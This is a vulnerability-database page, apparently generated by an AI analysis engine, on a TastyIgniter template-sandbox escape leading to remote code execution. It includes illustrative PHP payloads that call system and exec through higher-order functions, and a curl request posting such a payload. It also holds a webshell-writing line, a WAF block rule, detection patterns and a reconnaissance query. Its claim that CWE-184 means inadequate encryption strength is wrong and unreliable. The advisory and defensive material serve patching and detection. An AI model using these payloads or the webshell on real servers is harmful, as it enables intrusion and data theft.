CVE Professor
/
All CVEs
CVE-2026-77612

CVE-2026-77612 — CWE-184

CRITICAL CVSS 9.1 NVD

TastyIgniter is an open-source online ordering, table reservation, and restaurant management system. From version 4.0.0 to before version 4.3.1, TastyIgniter's TemplateSandbox class, uses an incomplete blocklist of dangerous PHP functions. The blocklist explicitly forbids system(), exec(), shell_exec(), and similar functions by name, but does not restrict higher-order functions such as call_user_func, call_user_func_array, array_map, array_filter, and preg_replace_callback. These functions can invoke any PHP callable -- including all the blocked ones -- allowing an authenticated staff user with the Site.Themes permission to achieve Remote Code Execution (RCE) on the server. This issue has been patched in version 4.3.1.

TastyIgniter is an open-source online ordering, table reservation, and restaurant management system. From version 4.0.0 to before version 4.3.1, TastyIgniter's TemplateSandbox class, uses an incomplete blocklist of dangerous PHP functions. The blocklist explicitly forbids system(), exec(), shell_exec(), and similar functions by name, but does not restrict higher-order functions such as call_user_func, call_user_func_array, array_map, array_filter, and preg_replace_callback. These functions can invoke any PHP callable -- including all the blocked ones -- allowing an authenticated staff user with the Site.Themes permission to achieve Remote Code Execution (RCE) on the server. This issue has been patched in version 4.3.1.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. High PR:H
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Sandbox Escape leading to Remote Code Execution (RCE) in TastyIgniter, an open-source restaurant management system.

Technical Flaw:
The core issue lies in the TemplateSandbox class, which is responsible for restricting the execution of PHP code within the template rendering engine. The implementation relies on a negative allowlist (blocklist) approach to prevent the execution of dangerous system commands. Specifically, it explicitly blocks direct calls to functions like system(), exec(), shell_exec(), passthru(), and proc_open().

However, the blocklist is incomplete because it fails to account for Higher-Order Functions (HOFs) in PHP. PHP allows functions to accept other functions (callables) as arguments. By not restricting functions such as:

  • call_user_func()

  • call_user_func_array()

  • array_map()

  • array_filter()

  • preg_replace_callback()
  • An attacker can pass the name of a blocked function (e.g., "system") as a string argument to one of these allowed higher-order functions. The PHP engine then resolves the string to the function pointer and executes it, effectively bypassing the name-based blocklist.

    CWE-184 (Inadequate Encryption Strength) is technically a misclassification in the CVE data provided; this is fundamentally a CWE-250 (Execution with Unnecessary Privileges) or CWE-749 (Exposed Dangerous Method or Function) / CWE-94 (Improper Control of Generation of Code). The CVSS vector PR:H (Privileges Required: High) confirms that the attacker must already possess authenticated access with specific permissions (Site.Themes).

    ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Fingerprinting: The attacker identifies the target as running TastyIgniter. This can be done by checking for specific default assets (e.g., /vendor/tastyigniter/core/...), meta tags, or the unique URL structure of the admin panel (typically /admin).
  • Version Verification: The attacker confirms the version is between 4.0.0 and 4.3.0. This might be done by checking the X-Powered-By header (if misconfigured), error messages, or simply attempting the exploit against a known vulnerable version.
  • Credential Acquisition: Since PR:H is required, the attacker needs valid credentials for a user with the Site.Themes permission. This could be achieved via:
  • * Credential stuffing/brute-forcing (if weak passwords are used). * Social engineering a staff member. * Compromising a lower-privileged account and escalating privileges (if other bugs exist). Note: In many restaurant systems, staff accounts are created with broad permissions by default.*

    2. Exploitation

    The attacker logs into the TastyIgniter admin panel as a user with Site.Themes permission. They navigate to the theme editor or template management section where the TemplateSandbox is active.

    Mechanism:
    The attacker injects a PHP payload into a template file (e.g., a header, footer, or custom template). The payload uses a higher-order function to invoke a blocked command.

    Illustrative PoC (PHP Payload):
    Note: The exact endpoint URI for saving the template is not specified in the CVE description. The following is an illustrative example of the payload structure that would be injected into the template content field.

    <?php
    // Illustrative Payload for TastyIgniter Template Sandbox Escape
    // This code would be injected into a .php template file via the admin UI
    
    // Method 1: Using call_user_func
    $cmd = "id"; // Command to execute
    $func = "system"; // Blocked function name
    call_user_func($func, $cmd);
    
    // Method 2: Using array_map (more obfuscated)
    $cmd = "whoami";
    $func = "exec";
    $result = array_map($func, array($cmd));
    echo $result[0];
    
    // Method 3: Using preg_replace_callback (if /e modifier is still supported in older PHP, 
    // though deprecated, it's a common vector in sandbox escapes)
    // Note: /e modifier was removed in PHP 7.0, so this is less likely in modern stacks, 
    // but call_user_func is the primary vector here.
    ?>

    Curl Example (Illustrative):
    Assuming the template update endpoint is /admin/themes/update (hypothetical, as exact route is not in CVE):

    curl -X POST "https://target-restaurant.com/admin/themes/update" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -H "Cookie: session_id=VALID_STAFF_SESSION_TOKEN" \
      --data "template_name=header.php" \
      --data "template_content=<?php call_user_func('system', 'id'); ?>"

    Important: The attacker must ensure the template is rendered after saving. This might require visiting the frontend page that uses that template.

    3. Post-Exploitation

    Once the payload is executed: 1. Command Execution: The attacker achieves arbitrary command execution on the server. 2. Webshell Deployment: The attacker can write a PHP webshell to the web root for persistent access.
    // Example: Writing a simple webshell
        file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST["cmd"]); ?>');

    3. Privilege Escalation: If the web server runs as www-data or apache, the attacker can attempt to escalate privileges using local exploits (e.g., kernel exploits, SUID binaries).
    4. Data Exfiltration: The attacker can access the database (MySQL/MariaDB) containing customer data, payment information (if stored), and business records.
    5. Lateral Movement: From the compromised server, the attacker can pivot to other internal systems if the server is part of a larger network.

    🌍 Real World Impact

    CVSS Vector Analysis: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

  • Attack Vector (AV:N): Network-based. The attacker can exploit this remotely.
  • Attack Complexity (AC:L): Low. No special conditions are required beyond having the correct credentials and injecting the payload.
  • Privileges Required (PR:H): High. The attacker must be an authenticated user with Site.Themes permission. This is a significant barrier, as it requires insider access or compromised staff credentials.
  • User Interaction (UI:N): None. The victim does not need to click anything.
  • Scope (S:C): Changed. The vulnerable component (TemplateSandbox) is part of the application, but the impact extends to the entire operating system (RCE).
  • Confidentiality (C:H): High. Full access to all data on the server, including customer PII, financial data, and business secrets.
  • Integrity (I:H): High. The attacker can modify any file, including application code, database records, and system files.
  • Availability (A:H): High. The attacker can delete files, crash the service, or encrypt data for ransom.
  • Practical Consequences:

  • Data Breach: Customer names, addresses, phone numbers, and potentially payment card data (if not tokenized) could be stolen.

  • Ransomware: The attacker could encrypt the server, demanding payment for decryption.

  • Business Disruption: The restaurant's ordering and reservation system could be taken offline, leading to loss of revenue and customer trust.

  • Regulatory Fines: If customer PII is breached, the business could face fines under GDPR, CCPA, or other data protection laws.
  • 🛡️ Remediation & Mitigation

    1. Upgrade (Primary Fix)

  • Affected Versions: TastyIgniter 4.0.0 to 4.3.0.
  • Fixed Version: TastyIgniter 4.3.1.
  • Action: Immediately upgrade to version 4.3.1 or later. This is the only complete fix.
  • 2. Workarounds (If Immediate Upgrade is Not Possible)

  • Restrict Permissions:
  • * Remove the Site.Themes permission from all non-essential staff accounts. Only grant this permission to trusted administrators who are not likely to be targeted for credential theft. * Implement Multi-Factor Authentication (MFA) for all admin and staff accounts with elevated privileges.
  • Disable Template Editing:
  • * If the template editing feature is not strictly necessary for daily operations, consider disabling it via configuration or by removing the menu item from the admin panel (if possible without code changes).
  • WAF Rules:
  • * Deploy a Web Application Firewall (WAF) rule to block requests containing higher-order function names in template content fields. Example ModSecurity Rule (Illustrative):*
    SecRule REQUEST_BODY "call_user_func|call_user_func_array|array_map|array_filter|preg_replace_callback" \
                "id:100001,phase:2,deny,status:403,msg:'Potential Sandbox Escape Attempt',log"

    Note:* This is a heuristic and may be bypassed with obfuscation. It is not a substitute for patching.

    3. Detection

  • Web Server Logs:
  • * Look for POST requests to template update endpoints containing PHP code. Example Log Pattern:*
    POST /admin/themes/update HTTP/1.1
            Content-Type: application/x-www-form-urlencoded
            ...
            template_content=<?php+call_user_func('system',+'id');
  • File Integrity Monitoring (FIM):
  • * Monitor the TastyIgniter template directory (e.g., /themes/) for unexpected changes or new files. * Alert on the creation of new .php files in directories where they are not expected.
  • Process Monitoring:
  • * Monitor for the web server process (e.g., apache2, nginx worker, php-fpm) spawning shell processes (/bin/sh, /bin/bash). Example Sysmon Event:*
    <Event>
              <EventID>1</EventID>
              <ProcessName>C:\php\php-fpm.exe</ProcessName>
              <CommandLine>C:\php\php-fpm.exe -c C:\php\php.ini</CommandLine>
              <ChildProcessName>C:\Windows\System32\cmd.exe</ChildProcessName>
              <ChildCommandLine>cmd.exe /c id</ChildCommandLine>
            </Event>
  • Database Logs:
  • * Monitor for unusual queries, such as SELECT statements that retrieve large amounts of data or UPDATE/DELETE statements on sensitive tables.

    ⚠️ Urgency

    Priority: HIGH

  • CVSS Score: 9.1 (Critical).
  • Exploitability: While it requires high privileges (PR:H), the impact is severe (RCE). In the context of restaurant management systems, staff accounts are often numerous and may have weaker security practices (e.g., shared passwords, lack of MFA).
  • CISA KEV: Not listed, but this does not diminish the risk. The absence from KEV may be due to the high privilege requirement, but it remains a critical vulnerability for any organization running TastyIgniter.
  • Recommendation:
1. Immediate: Upgrade to TastyIgniter 4.3.1. 2. Short-term: If upgrade is delayed, restrict Site.Themes permissions to a minimal set of trusted users and enable MFA. 3. Ongoing: Implement FIM and process monitoring to detect any exploitation attempts.

Conclusion: This vulnerability allows a compromised staff account to escalate to full server compromise. Given the criticality of RCE and the potential for data breach, patching should be treated as urgent.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
CVSS Score
9.1 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-184
References & Advisories (2)
Related CVEs
6.8
CVE-2026-144452
greptimedb-mcp-server before 0.6.2 contains a read-only mode bypass vulnerability in security_gate that allows
6.8
CVE-2026-144587
Graphify 0.9.70 through 0.9.126 contains a file disclosure vulnerability that allows attackers to read local h
4.8
CVE-2026-77529
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, EditEmailSent::ge
4.7
CVE-2026-145156
sanitize-html 2.17.7 before 2.18.2 contains a cross-site scripting vulnerability that allows attackers to bypa
4.7
CVE-2026-145194
Bleach through 6.4.0 contains a cross-site scripting vulnerability because clean() omits URI protocol sanitiza
8.7
CVE-2026-96433
A user with query access to a Snowflake data source can wrap PUT or GET commands in a SQL macro to get past th
8.5
CVE-2026-108137
A vulnerability allowing a low-privileged local user to execute arbitrary code with the privileges of the Veea